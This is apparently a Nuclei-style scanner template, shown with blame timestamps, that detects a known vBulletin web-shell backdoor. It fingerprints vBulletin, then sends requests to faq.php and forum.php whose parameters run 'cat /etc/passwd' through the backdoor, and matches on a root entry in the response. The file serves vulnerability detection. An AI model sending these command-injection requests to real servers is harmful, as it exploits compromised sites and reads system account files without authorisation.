2023-12-31 16:09:36 +00:00
|
|
|
id: vbulletin-backdoor
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: vBulletin Backdoor - Detect
|
|
|
|
author: MaStErCho
|
|
|
|
severity: high
|
|
|
|
reference:
|
|
|
|
- https://github.com/OWASP/vbscan
|
|
|
|
- https://blog.sucuri.net/2017/01/vbulletin-malware-hackers-compete-backdoor-control.html
|
|
|
|
tags: backdoor,php,vbulletin,rce
|
2024-01-19 21:37:50 +00:00
|
|
|
|
|
|
|
flow: http(1) && http(2)
|
2023-12-31 16:09:36 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2024-01-19 21:37:50 +00:00
|
|
|
- '{{BaseURL}}'
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "content=\"vBulletin"
|
|
|
|
- "id=\"vbulletin_css"
|
|
|
|
- "clientscript/vbulletin"
|
|
|
|
- "vBulletin_init"
|
|
|
|
condition: or
|
|
|
|
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/faq.php?cmd=cat%20/etc/passwd'
|
|
|
|
- '{{BaseURL}}/forum.php?x=shell_exec&y=cat%20/etc/passwd'
|
|
|
|
- '{{BaseURL}}/{{paths}}/faq.php?cmd=cat%20/etc/passwd'
|
|
|
|
- '{{BaseURL}}/{{paths}}/forum.php?x=shell_exec&y=cat%20/etc/passwd'
|
|
|
|
- '{{paths}}.{{BaseURL}}/faq.php?cmd=cat%20/etc/passwd'
|
|
|
|
- '{{paths}}.{{BaseURL}}/forum.php?x=shell_exec&y=cat%20/etc/passwd'
|
2023-12-31 16:09:36 +00:00
|
|
|
|
|
|
|
payloads:
|
|
|
|
paths:
|
|
|
|
- 'boards'
|
|
|
|
- 'board'
|
|
|
|
- 'forum'
|
|
|
|
- 'forums'
|
|
|
|
- 'vb'
|
|
|
|
|
|
|
|
stop-at-first-match: true
|
|
|
|
host-redirects: true
|
|
|
|
max-redirects: 3
|
|
|
|
matchers:
|
2024-01-19 21:37:50 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- "regex('root:.*:0:0:', body)"
|
|
|
|
- "status_code == 200"
|
2023-12-31 16:09:36 +00:00
|
|
|
condition: and
|
2024-01-20 08:05:50 +00:00
|
|
|
# digest: 4a0a0047304502207afa875c0e44462e803840f41f1f4fd38b88e6de5750f6b55925458b5e91a234022100c8bbd0aea7be56bbf3853bd836128dc3dffbbd242053bce499d4a16df184429f:922c64590222798bb761d5b6d8e72950
|